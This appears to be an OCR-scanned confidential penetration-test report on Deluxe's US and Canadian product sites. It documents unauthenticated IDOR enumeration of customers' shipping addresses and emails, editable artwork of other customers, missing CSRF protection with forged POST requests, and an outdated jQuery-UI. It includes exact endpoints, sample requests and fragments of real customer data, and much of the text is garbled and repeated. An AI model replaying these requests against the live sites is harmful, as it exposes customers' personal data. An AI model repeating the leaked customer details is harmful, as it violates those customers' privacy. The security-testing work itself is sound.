45SC 29615
34N 8
29MO 64068
13GA 31
12FL 3
2481 il

! J
Country_ID Country_Name
1United States ¢
1United States ¢
36 Canada
1United States ¢
36 Canada
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢
1United States ¢

1l Initad Cratae 4

Phone
7

60

177

20
51953
70
25153
80

57

51

21
220-04
ES

65

50
662-54
708-52
81

23
(617) 5
(609) 4
910-97
%0

30
706-61
34

41

70

20

86
732-54
816-45

47
(813) 9

a7

K

Size Resp. Header
1,935 bytes
1,933 bytes
1,933 bytes
1,936 bytes
1,933 bytes
1,934 bytes
1,933 bytes
1,934 bytes
1,932 bytes
1,934 bytes
1,933 bytes
1,935 bytes
1,934 bytes
1,933 bytes
1,934 bytes
1,933 bytes
1,933 bytes
1,933 bytes

Email
erica.
2andre
iits@c
3ILAZ:

cptme
_codye

hyres
)5zxpu
3 Nety€
3 Johnt
}beme
john.r
3 pristir
Tisela.
IMAR®

SHIF

conta
’reyna
sssern

resmi

Piped

sheas
}rmiro:
deric.le

vpere
tannal
scm_h
_jeftds
ijoe@«
Jatmpe
.accot
3 jdevii
’"DAce
> kimbe
3mime
) piofie
)benjo
»eldrec

kasia

theros
Iwill@

jsteel

Size Resp. Body

375 bytes
420 bytes
775 bytes
379 bytes
752 bytes
427 bytes
383 bytes
741 bytes
420 bytes
402 bytes
407 bytes
398 bytes
400 bytes
377 bytes
420 bytes
413 bytes
449 pbytes
386 bytes

Payloads
503209
503208
503207
503206
503205
503204
503203
503202
503201
503200
503159
5031858
5031597
503156
5031585
503154
503153
503152

o

Is_Receive_Email Is_Receive_Print Customer_Address_Name

1W5¢
0142
12-72
1427
1Coo

deluxe
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EVIDENCEC

URL: https://www.deluxe.com/products/Secure/Addresses/Get/GetShippingAddress.cshtml
Authentication: Not required

Pictures below demonstrate that the application returns customers’ shipping information based
on the aid value, without checking for valid session token:

Request with aid value 478273:

POST https://www.deluxe.com/products/Secure/Addresses/Get/GetShippingAddress.cshtml HTTRP/1.1
Host: www.deluxe.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:92.0) Gecko/20100101 Firefox/92.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 10

aid=478273
Response
Header: Text ~ | Body: Text ~ | | =] =@
HTTP/1.1 200 0K
{ "Test", "Test",
'test", "Test", "Test",
"Test”, R "Test", :1, DALY,
D, i1, :"United States of America", 1 "12345"
1478273, 1503203, 11}

Request with aid value 478291

POST https://www.deluxe.com/products/Secure/Addresses/Get/GetShippingAddress.cshtml HTTP/1.1
Host: www.deluxe.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 10

aid=478291

Response

Header: Text ~ Body: Text ~ | [ =) &

HTTP/1.1 200 0K

T T o o ™
- Do " Do "
-ng] " T s 210 " Y
"RIM, L, 11, :"United States of America",
102 ", 1478291, :5@3218, 11}
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Enumeration of the aid value allows to obtain shipping information of all existing accounts:

Task ID

00 = M N f= W p) o

w

200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK

Code Reason

RTT

567 ms
505 ms
436 ms
528 ms
496 ms
435 ms
430 ms
432 ms
436 ms
446 ms
429 ms
429 ms
652 ms
714 ms
591 ms
518 ms
592 ms
432 ms

Size Resp. Header

1,925 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,925 bytes
1,925 bytes
1,925 bytes
1,824 bytes
1,925 bytes
1,924 bytes

List of shipping information of some existing accounts:

A B c D E F G H ! J K L M
1 4 Address_IDomer_|ID4tomer_Address_Label$_Last_Name€irst_Name¢_Company_Name Street_Line_leet Line_2¢ Line_3

2 449606 476771281 Pr Te 281 Toronto 800N
3 449605 476770 Ste St Ste Ste 31z Panama city 12FL
2 449604 476769 PO Sk Co Mo PO Vincentia 71INT  New Souw
5 449603 47676821 Sa Bn 21 Spring Valle 36NY
6 449602 476767 12C Me Git Ob 12C FONTANA 6CA
7 449601 306093 28t De La HIL 28t Hillsboro 410R
8 449600 476766 32¢ Le Ya A+ 32¢ Fort Lauderc 12FL
9 449599 476765997 T An The 997 Delano 27TMN
10 449508 476764 442 Dii Bn 44z Rock Hill 455C
1 449597 476763 44C Wi Su Chi 44C Arlington 48TX
12 449596 476762401 Kii An NC 401 Manhattan 20KS
13 449595 47676135 Ta Bri Fre 35 Hampton 51VA
14 449594 476760241 Bu Kri The 241 Jackson 28MS
15 449593 476759 262 Wi Da Ter 262 Lacey 53WA
16 449592 47675851¢% Wit rek ma 51t memphis 4TTN
17 449591 47675784 Du Ev EX 84 Joliette 82QC
18 449500 476756 932 Wi Re 93¢t Houston 48TX
19 449589 47675571C Wi Jol N// 71C San Antonio 48TX
20 449588 476744521 Wi Jel Jv 521 Honolulu 15HI
21 449587 476754781 Le Jin His 781 Natchitoches 22LA
22 449586 476753 24C Lo Ku 24C Colmesneil 48TX
23 449585 476752 20C Bu Te Ma 20C Plano 48TX
24 449584 4767518 S Gr Ty EA 8sS MADISON 55WI
25 449583 196862 52% Br Ch Trit 52t MADISON 55WI
26 449582 476750 92¢ Ve Mit Lis 92¢ Bristow 51VA
27 449581 476749 141 Gr Je: Aut 141 Austin 27TMN
28 449580 476748 Hor Be No 37z Janesville 55WI
29 449579 476747 22¢ Fa Ni¢ Prc 22¢ San Marcos 48TX
30 449578 476746 20C Ku Bri Hui 20C Edmore 26MI
31 449577 476745UR R Ce Sul UR COAMO, PR 71INT PR
32 449576 476744 45E M RC RN 458 San Diego 6CA
33 449575 476743364 To Se TE 364 Chicago 171L
34 449574 47674251 Me Bri 51" Forty Fort 42PA
35 449573 476741 Offi Ac Ka Kel 504 Somerset 21KY
36 449572 476740 89C Kc Ka 89C GREENWO® 18IN
37 449571 476739204 Hir Ch Ma 204 Winnipeg 74MB
38 449570 476738 20C Se We Jul 20C kissimmee 12FL
39 449569 476737 40C Cr *An RY: 40C Ottawa 800N
40 449568 476736 24C Kit Ke Ner 24C Ipswich 25MA
Ll 449567 266590 324 Sk Nic Fru 32¢ Fruita 8CO
42 449566 476735 Bz Me Lak Midland 800N
43 449565 476734 44C Sa Me Fre 44C Glendora 6CA

Deluxe Confidential

Size Resp. Body  Payloads

4473 bytes
496 bytes
451 bytes
473 bytes
485 bytes
487 bytes
464 bytes
478 bytes
454 bytes
467 bytes
463 bytes
476 bytes
465 bytes
487 bytes
479 bytes
486 bytes
460 bytes
460 bytes

449606
449605
449604
4459603
449602
449601
4459600
449599
449598
449597
4495596
449595
4495594
449593
449592
449591
449590
449589

N o P

Q
City State_ID State4rnational4ntry_ID Country_Name Zip_Codeqult_Address

36 Canada M5V 1
1United States o 32 1
14 Australia 2 1
1 United States of 10 1
1United States of 92 1
1United States of 97 0
1United States of 33 1
1United States of 55 1
1 United States of 29 1
1United States of 76 1
1 United States of 66 1
1United States of 23 1
1United States of 39 1
1United States of 98 1
1United States o 38 1
36 Canada JBE 1
1 United States of 7 1
1United States of 78 1
1United States of 96 0
1United States of 71 1
1United States of 75 1
1 United States of 75 1
1United States of 53 1
1 United States of 53 0
1United States of 20 1
1United States of 55 1
1United States of 53 1
1United States o 78 1
1 United States of 48 1
168 Puerto Rico 1
1United States of 92 1
1United States of 60 1
1United States of 18 1
1United States of 42 1
1 United States of 46 1
36 Canada R3L 1
1 United States of 34 1
36 Canada K1K 1
1United States of 1 1
1United States of 81 0
36 Canada L4R 1
1 United States of 91 1
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EVIDENCE D

URL: https://www.deluxe.ca/en-
ca/products/Secure/Addresses/Get/GetShippingAddress.cshtml

Authentication: Not required

Pictures below demonstrate that the application returns customers’ shipping information based
on the aid value, without checking for valid session token:

Request with aid value 478214:

POST https://www.deluxe.ca/en-ca/products/Secure/Addresses/Get/GetShippingAddress.cshtml HTTP/1.1
Host: www.deluxe.ca

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 10

aid=478214
Response
Header: Text ~ | Body: Text ~ | | Bl =
HTTP/1.1 200 0K
{ "Test", "Test",
"Test", "Test", :"Test",
M"Test", M"Test", "Testt", 172, :"AB",
HE 136, :"Canada", "TT7XOA4Y,
1478214, 1503147, 11}

Request with aid value 478285:

POST https://www.deluxe.ca/en-ca/products/Secure/Addresses/Get/GetShippingAddress.cshtml HTTP/1.1
Host: www.deluxe.ca

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 10

aid=478285
Response
Header: Text ~ | Body: Text ~ | | Bl =
HTTP/1.1 200 0K
T T " "o N
-1Ja " g "
Y " s s “"Maxton'
137, UNCT, A .1, :
'United States of America", :"28 ", 1478285, 1503212,
(1}
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Enumeration of the aid value allows to obtain shipping information of all existing accounts:

Task ID

00 = M N f= W p) o

w

200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK

Code Reason

RTT

567 ms
505 ms
436 ms
528 ms
496 ms
435 ms
430 ms
432 ms
436 ms
446 ms
429 ms
429 ms
652 ms
714 ms
591 ms
518 ms
592 ms
432 ms

Size Resp. Header

1,925 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,924 bytes
1,925 bytes
1,925 bytes
1,925 bytes
1,824 bytes
1,925 bytes
1,924 bytes

List of shipping information of some existing accounts:

A B c D E F G H ! J K L M
1 4 Address_IDomer_|ID4tomer_Address_Label$_Last_Name€irst_Name¢_Company_Name Street_Line_leet Line_2¢ Line_3

2 449606 476771281 Pr Te 281 Toronto 800N
3 449605 476770 Ste St Ste Ste 31z Panama city 12FL
2 449604 476769 PO Sk Co Mo PO Vincentia 71INT  New Souw
5 449603 47676821 Sa Bn 21 Spring Valle 36NY
6 449602 476767 12C Me Git Ob 12C FONTANA 6CA
7 449601 306093 28t De La HIL 28t Hillsboro 410R
8 449600 476766 32¢ Le Ya A+ 32¢ Fort Lauderc 12FL
9 449599 476765997 T An The 997 Delano 27TMN
10 449508 476764 442 Dii Bn 44z Rock Hill 455C
1 449597 476763 44C Wi Su Chi 44C Arlington 48TX
12 449596 476762401 Kii An NC 401 Manhattan 20KS
13 449595 47676135 Ta Bri Fre 35 Hampton 51VA
14 449594 476760241 Bu Kri The 241 Jackson 28MS
15 449593 476759 262 Wi Da Ter 262 Lacey 53WA
16 449592 47675851¢% Wit rek ma 51t memphis 4TTN
17 449591 47675784 Du Ev EX 84 Joliette 82QC
18 449500 476756 932 Wi Re 93¢t Houston 48TX
19 449589 47675571C Wi Jol N// 71C San Antonio 48TX
20 449588 476744521 Wi Jel Jv 521 Honolulu 15HI
21 449587 476754781 Le Jin His 781 Natchitoches 22LA
22 449586 476753 24C Lo Ku 24C Colmesneil 48TX
23 449585 476752 20C Bu Te Ma 20C Plano 48TX
24 449584 4767518 S Gr Ty EA 8sS MADISON 55WI
25 449583 196862 52% Br Ch Trit 52t MADISON 55WI
26 449582 476750 92¢ Ve Mit Lis 92¢ Bristow 51VA
27 449581 476749 141 Gr Je: Aut 141 Austin 27TMN
28 449580 476748 Hor Be No 37z Janesville 55WI
29 449579 476747 22¢ Fa Ni¢ Prc 22¢ San Marcos 48TX
30 449578 476746 20C Ku Bri Hui 20C Edmore 26MI
31 449577 476745UR R Ce Sul UR COAMO, PR 71INT PR
32 449576 476744 45E M RC RN 458 San Diego 6CA
33 449575 476743364 To Se TE 364 Chicago 171L
34 449574 47674251 Me Bri 51" Forty Fort 42PA
35 449573 476741 Offi Ac Ka Kel 504 Somerset 21KY
36 449572 476740 89C Kc Ka 89C GREENWO® 18IN
37 449571 476739204 Hir Ch Ma 204 Winnipeg 74MB
38 449570 476738 20C Se We Jul 20C kissimmee 12FL
39 449569 476737 40C Cr *An RY: 40C Ottawa 800N
40 449568 476736 24C Kit Ke Ner 24C Ipswich 25MA
Ll 449567 266590 324 Sk Nic Fru 32¢ Fruita 8CO
42 449566 476735 Bz Me Lak Midland 800N
43 449565 476734 44C Sa Me Fre 44C Glendora 6CA

Deluxe Confidential

Size Resp. Body  Payloads

4473 bytes
496 bytes
451 bytes
473 bytes
485 bytes
487 bytes
464 bytes
478 bytes
454 bytes
467 bytes
463 bytes
476 bytes
465 bytes
487 bytes
479 bytes
486 bytes
460 bytes
460 bytes

449606
449605
449604
4459603
449602
449601
4459600
449599
449598
449597
4495596
449595
4495594
449593
449592
449591
449590
449589

N o P

Q
City State_ID State4rnational4ntry_ID Country_Name Zip_Codeqult_Address

36 Canada M5V 1
1United States o 32 1
14 Australia 2 1
1 United States of 10 1
1United States of 92 1
1United States of 97 0
1United States of 33 1
1United States of 55 1
1 United States of 29 1
1United States of 76 1
1 United States of 66 1
1United States of 23 1
1United States of 39 1
1United States of 98 1
1United States o 38 1
36 Canada JBE 1
1 United States of 7 1
1United States of 78 1
1United States of 96 0
1United States of 71 1
1United States of 75 1
1 United States of 75 1
1United States of 53 1
1 United States of 53 0
1United States of 20 1
1United States of 55 1
1United States of 53 1
1United States o 78 1
1 United States of 48 1
168 Puerto Rico 1
1United States of 92 1
1United States of 60 1
1United States of 18 1
1United States of 42 1
1 United States of 46 1
36 Canada R3L 1
1 United States of 34 1
36 Canada K1K 1
1United States of 1 1
1United States of 81 0
36 Canada L4R 1
1 United States of 91 1

deluxe

trasbod Business Lo ivslogy



27

EVIDENCE E

Authentication: Required

Pictures below demonstrate that the application returns customers’ email addresses based onthe
orderid value:

URL:
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612

100&paid=1

& G O B =2 hitps://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=6123008&paid=1

d e]_ u )(e IZ::Search Products

All Products ¥ Promotional Products & Apparel ¥ Print Marketing © Events ¥ Industry v

Thank You! Order #612300

We'll email your order confirmation to
dei

URL.:
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612

302&paid=1

&« G (U 8 == https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1

d e-l_ u xe IZ::Search Products

All Products ¥ Promotional Products & Apparel ¥ Print Marketing v+ Events ¥ Industry -

Thank You! Order #612102

We'll email your order confirmation to
Ran
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https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612300&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612300&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612300&paid=1
https://www.deluxe.com/products/secure/checkout/orderconfirmation.cshtml?orderid=612300&paid=1
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Enumeration of the orderid value allows to obtain customers’ email addresses for all existing
orders:

Task ID ~ Code Reason RTT  Size Resp. Header 5Size Resp. Body  Payloads

0 200 oK 734 ms 3,185 bytes 65,928 bytes
1 200 OK 3,185 bytes 612300
2 200 oK 1.12 s 3,185 bytes 65,948 bytes 612299
3 200 OK 1.08s 3,185 bytes 65,926 bytes 612298
4 200 OK 1.15s 3,186 bytes 65,932 bytes 612297
5 200 OK 1.06 s 3,185 bytes 65,932 bytes 612296
& 200 OK 978 ms 3,185 bytes 65,942 bytes 612295
7 200 OK 1ls 3,185 bytes 65,942 bytes 612294
8 200 OK 1ls 3,185 bytes 65,930 bytes 612293
& 200 OK 1.09s 3,185 bytes 65,942 bytes 612292
List of customers’ email addresses for some existing orders:
| A \ B \ s ! D
1 |orderid email_address
~ 2 612300 deitt
~ 3 1612299 cool
4 1612298 coni
5 1612297 jenn
~ 6 1612296 jenn
7 612295 JBri
8 1612294 and
9 1612293 johh
10 612292 mtal
11 /612291 pent
12 1612290 RMc
13 /612289 mar,
14 1612288 infor
15 1612287 mur
16 1612286 mur
17 612285 amy
18 1612284 emn
19 1612283 JON
20 612282 briai
- 21 612281 dms
- 22 612280 tylel
23 612279 mfla
24 612278 tishy
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EVIDENCE F

Authentication: Required

Pictures below demonstrate that the application returns customers’ email addresses based onthe
orderid value:

URL: https://www.deluxe.ca/en-
ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1

= C | O B & https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtmlzorderid=612102&paid=1

d_el uxe. £y

All Products ¥ Promotional Products & Apparel ~

Search Products

Thank You! Order #612102

We'll email your order confirmation to
Ran

URL.: https://www.deluxe.ca/en-
ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612000&paid=1

&« C | O B & https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612000&paid=1

d_el uxe. £y

All Products ¥ Promotional Products & Apparel ~

Search Products

Thank You! Order #612000

We'll email your order confirmation to
mor

Enumeration of the orderid value allows to obtain customers’ email addresses for all existing
orders:
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https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612102&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612000&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612000&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612000&paid=1
https://www.deluxe.ca/en-ca/products/secure/checkout/orderconfirmation.cshtml?orderid=612000&paid=1
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Task ID ~ Code Reason RTT  5Size Resp. Header 5Size Resp. Body  Payloads

0 200 OK 734 ms 3,185 bytes 65,928 bytes

1 200 OK 3,185 bytes 65,95 612300
2 200 OK 1.12s 3,185 bytes 65,948 bytes 6512299
3 200 OK 1.08s 3,185 bytes 65,926 bytes 512258
4 200 OK 1.15s 3,186 bytes 65,932 bytes 612297
5 200 OK 1.06 s 3,185 bytes 65,932 bytes 6122596
& 200 OK 978 ms 3,185 bytes 65,942 bytes 6512295
7 200 OK 1ls 3,185 bytes 65,942 bytes 512254
B 200 OK 1s 3,185 bytes 65,930 bytes 6512293
g9 200 OK 1.09s 3,185 bytes 65,942 bytes 512292

List of customers’ email addresses for some existing orders:

\ A | B | o | D
1 |orderid email_address
~ 2 612300 deit
~ 3 1612299 .cool
~ 4 1612298 coni
5 1612297 jenn
~ 6 1612296 jenn
7 1612295 JBri
8 1612294 andi
9 1612293 johh
10 612292 mta
111612291 pent
12 1612290 ‘RMc
- 13 1612289 mar,
14 1612288 infor
15 1612287 mur
16 1612286 mur
17 1612285 amy
18 1612284 emn
19 1612283 JON
20 1612282 brial
~ 21 1612281 dma
22 1612280 tylel
23 1612279 mfle
24 1612278 tish
EVIDENCE G

Deluxe Confidential d e1 L »e

trasbod Business Lo ivslogy



31

Authentication: Required

“Manage Artwork” functionality allows to view and edit artwork of the other customers by the
artwork ids.

URL.: https://www.deluxe.com/products/secure/myaccount/

< G | O B = httpsy//www.deluxe.com/products/secure/myaccount/ w e s » =
d e1 UXe | search Products Q ) L AT =
Order Placed Order Incomplete
November 30, 2022 Order Number: 653024
View Order Order Total: $645.29 & Pay Order
5" x 7" Journal Artwork Pending [Eal Manage Artwork
o Notebook Artwork is pending and images
& Welisier can be uploaded to your order at
= Item Number: 26556

this time.
Attached Images

ltem Total: $545.50

Artwork id consists of two parts, one for orderid and another for the uploaded artwork:

URL: https://www.deluxe.com/products/secure/artwork/manage/653024/1059999/

> C | U B == https://www.deluxe.com/products/secure/artwork/manage/653024,/1059999/ w L o » =

Manage Artwork Order## 653024-1059999

5" x 7" Journal Notebook
ltem # 26556

Attached Artwork

Your Artwork Order Artwork
No art proofs found
-
o -
i}

Add New Artwork
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Enumeration of these numbers allows to obtain information about customers' orders and

view/change corresponding artworks:

URL: https://www.deluxe.com/products/secure/artwork/manage/653020/1059994/

<_

ltem # 15480

Attached Artwork

G O & s hteps:;//www.deluxe.com/products/secure/artwork/manage/653020/105999- ¥ y »

anage Artwork Order# 653020-1059994

- Healthy Living Calendar, Spiral - 2023

Your Artwork

Order Artwork
No art proofs found

Add New Artwork

Other example:

URL: https://www.deluxe.com/products/secure/artwork/manage/653019/1059993/

(_

Manage Artwork Order# 653019-1059993

Ellipse Softy w/ Stylus - Full Color
ltem # 41481

-

Attached Artwork

Your Artwork

m m

C | O 8 =2 https://www.deluxe.com/products/secure/artwork/manage/653019/1059993/

Order Artwork

Mo art proofs found

w2 L »

Add New Artwork

Deluxe Confidential
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EVIDENCE H
Authentication: Required

“Manage Artwork™ functionality allows viewing and editing artwork of the other customers by
the artwork ids.

URL: https://www.deluxe.ca/en-ca/products/secure/myaccount

&« C | O B & https:y//www.deluxe.ca/en-ca/products/secure/myaccount/ w8 & » =
d__e-__Luxe- ( Search Products Q ) L hAYE =
Order Placed Order Incomplete
November 30, 2022 Order Number: 653023
View Order Order Total: $575.50 & Pay Order
Nonwoven Drawstring Artwork Pending Eal Manage Artwork
Cinch-Up Backpack Artwork is pending and images
can be uploaded to your order at

ltem Number: 47575
ltem Total: $397.25

this time.
Attached Images

Artwork id consists of two parts, one for orderid and another for the uploaded artwork:

URL.: https://www.deluxe.ca/en-ca/products/secure/artwork/manage/653023/1059998/

G | O 8 == httpsy//www.deluxe.ca/en-ca/products/secure/artwork/manage/653023/1059998/ w| @

Manage Artwork Order# 653023-1059998

Nonwoven Drawstring Cinch-Up Backpack
ltem # 47575

Attached Artwork

Order Artwork

No art proofs found

Your Artwork

i}
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Enumeration of these numbers allows obtaining information about customers' ordersand
view/change corresponding artworks:

URL: https://www.deluxe.ca/en-ca/products/secure/artwork/manage/653020/1059994/

« C O B = https;//www.deluxe.ca/en-ca/products/secure/artwork/manage/653020/1059994/ w o » =
Home / Your Account / Manage Artwork

Manage Artwork Order# 653020-1059994

% Healthy Living Calendar, Spiral - 2023
i ltem # 15480

Attached Artwork

Your Artwork Order Artwork

No art proofs found

Another example:
URL.: https://www.deluxe.ca/en-ca/products/secure/artwork/manage/653019/1059993/

&« C | O B8 = https://www.deluxe.ca/en-ca/products/secure/artwork/manage/653019/1059993/ ¥y @ & »

Manage Artwork Order# 653019-1059993

Ellipse Softy w/ Stylus - Full Color
Item # 41481

Attached Artwork

Your Artwork Order Artwork
artwork No art proofs found
i
o o

Add New Artwork
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M.1 Missing Anti-CSRF Token

CVSSv3 pp—r
‘ Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/1:N/A:N 53

FINDING

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted
actions on a web application in which he/she is currently authenticated. With a little help from
social engineering (like sending a link via email or chat), an attacker may force the users of a web
application to execute actions of the attacker's choosing. A successful CSRF exploit can
compromise end-user data and operation when it targets a normal user. If the targeted end-user is
the administrator account, a CSRF attack can compromise the entire web application.

RECOMMENDATION

What makes the attack possible isthe factthatthe session is uniquely identified only by the cookie,
which is automatically sent by the browser. To preventa CSRF attack, anti-CSRF tokens should
be added, so an attacker wouldn’t be able to create a valid request to the backend server.

For the CSRF token next conditions should be met:

> Unique per user session

> Secret

> Unpredictable

> Generated on the server-side

REFERENCES

https://owasp.org/www-community/attacks/csrf

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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EVIDENCE A

URL: https://www.deluxe.com/products/secure/addresses/new/
Authentication: Required

The “New Address” form on the Manage Shipping Addresses page is not protected by the Anti-
CSREF token. It allows unintended changes in the customers’ data without their interaction.

deluxe.com

Manage Shipping Addresses

+ NEW ADDRESS Cancel

As an example, adding a new shipping address.

deluxe.com

w Shipping Address

Ne
‘Please note that adding and/or updating shipping address information only affects future orders and will not apply to orders already placed. Please contact us for address updates to current/pending order
Address Label Test
Country United States of America v
First Name Test
Last Name Test
Company Test

Address 1 Test

Address 2 Test

Address 3 Test

City Test
State / Province Alabama >
Zip Code / Postal 12312
Code

' Make this my default shipping address

SAVE CHANGES Cancel
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Edited POST request without using Anti-CSRF token:

POST https://www.deluxe.com/products/api/customer/current/shipping-address HTTP/1.1

addressLabel=CSRF+TesticountryID=1.firstName=CSRF+Test:lastName=CSRF+Testicompany=CSRF+Test
address1=CSRF+Testtaddress2=Testtaddress3=CSRF+Testicity=CSRF+TestistateID=1
stateInternational=CSRF+TestizipCode=98765 isDefaultAddress=true

Response

Header: Text -~  Body: Text ~ | =] =
HTTP/1.1 200 0K

{ :q{ 14782817, null}

As a result, the screenshot below shows the result of unintended adding a new default shipping
address for a user:

deluxe.com

Manage Shipping Addresses

CSRF Test (Default) :::1‘
CSRAF Test iast losl
CSRF Test CSRF Test test
CSRAF Test

test
Test leat
CSAF Test

test, AL 12323

D United States of America

United States of America

Edit | Delete Edit | Delete

Make Default Address
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EVIDENCE B

URL: https://www.deluxe.ca/en-ca/products/secure/addresses/new/
Authentication: Required

The “New Address” form onthe Manage Shipping Addresses page is not protected by the Anti-
CSREF token. It allows unintended changes in the customers’ data without their interaction.

G O B https://www.deluxe.ca/en-ca/products/secure/addresses/

Home [/ Your Account / Your Shipping Addresses

Manage Shipping Addresses

As an example, adding a new shipping address.

< C | O B httpsy//www.deluxe.ca/en-ca/products/secure/addresses/new;/ £

New Shipping Address

*Please note that adding and/or updating shipping address information only affects future orders and will not apply to orders already placed. Please contact us for address updates

Address Label Test
Country Canada
First Name | Test |
Last Name | Test |
Company Test
Address 1 | Test |

Address 2 Test

Address 3 Test

City | Test |
State / Province | Alberta v‘|
Zip Code /Postal | TrXoAs |
Code : ’

v| Make this my default shipping address

SAVE CHANGES Cancel
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Edited POST request without using Anti-CSRF token:

POST https://www.deluxe.ca/en-ca/products/api/customer/current/shipping-address HTTP/1.1
Host: www.deluxe.ca

addresslLabel=CSRF+TesticountryID=365firstName=CSRF+TestilastName=CSRF+Testicompany=CSRF+
Testiaddress1=CSRF+Testiaddress2=CSRF+Testladdress3=CSRF+Testicity=CSRF+TestistateID=70
stateInternational="zipCode=T7X0A4 isDefaultAddress=true

Response

Header: Text ~ Body: Text ~ | | [E &
HTTP/1.1 200 0K

{ :{ 14782781, :null}

As a result, the screenshot below shows the result of unintended adding a new default shipping
address for a user:

“ G | O 8 https://www.deluxe.ca/en-ca/products/secure/addresses/
Manage Shipping Addresses

CSRF Test (Default) '::1

CSRF Test o

CSHF Test CSAF Test te:t

CSHF Test o

CSHF Test 3[:

CSRF Test

CSRF Test, GU T7X0A4 te, AB T7X0A4
Canada

Canada

Edit | Delete Edit | Delete

Make Default Address

Deluxe Confidential
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M.2 Outdated Software Version —jQuery-Ul

CVSSv3 pp—
‘ Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/1:N/A:N 53

FINDING

During penetration testing, it was discovered that the application uses an outdated version of the
JQuery-Ul library:

> jQuery-UlI version 1.13.0 (released on 7 October 2021) is vulnerable to Cross-Site-
Scripting (XSS);

An outdated software version was discovered through page source code review and console

commands which allow understanding of what jQuery-ui versionis currently running on the

page. Please be aware that any automated security scanning tool would most likely report
this software version as anissue.

RECOMMENDATION

This library should be updated to the latest version or removed from the server if it isn’t necessary
for the application.

REFERENCES

https://security.snyk.io/package/npm/jquery-ui

https://security.snyk.io/package/npm/jquery-ui/1.13.0

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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EVIDENCE A

URL: https://www.deluxe.com/products
Authentication: Not required

As shown inthe screenshotbelow, the application uses an outdated version ofthe jQuery -U11.13.0
library:

« = C O B https://www.deluxe.com/products

@ www.deluxe.com

1.13.0

(v O Inspector [] Console [ Debugger ) Network {3} StyleEditor () Performance #k Memory [ Storage - Accessibility 888 Application

m W Filter Output Errors (3) Warnings (8) Logs Inft

» alert{jQuery.ui.version)

EVIDENCE B

URL: https://www.deluxe.ca/en-ca/products/promotional/
Authentication: Not required

As shown in the screenshotbelow, the application uses an outdated version of the jQuery-U11.13.0
library:

&« = C O B8 https://www.deluxe.ca/en-ca/products/promotional/

@ www.deluxe.ca

1.13.0

(w O Inspector [] Console [ Debugger ) Network {3} StyleEditor () Performance fJk Memory [ Storage - Accessibility 888 Application
m W Filter Output Errors  Warnings (10) Logs (4)  Inft

» alert{jQuery.ui.version)

Detailed information about issues for which this library version is affected, is available by the next
link: https://security.snyk.io/package/npm/jquery-ui

& https://security.snyk.io/package/npm/jquery-ui

1.13.0 7 Oct, 2021 0 0 1 m 0
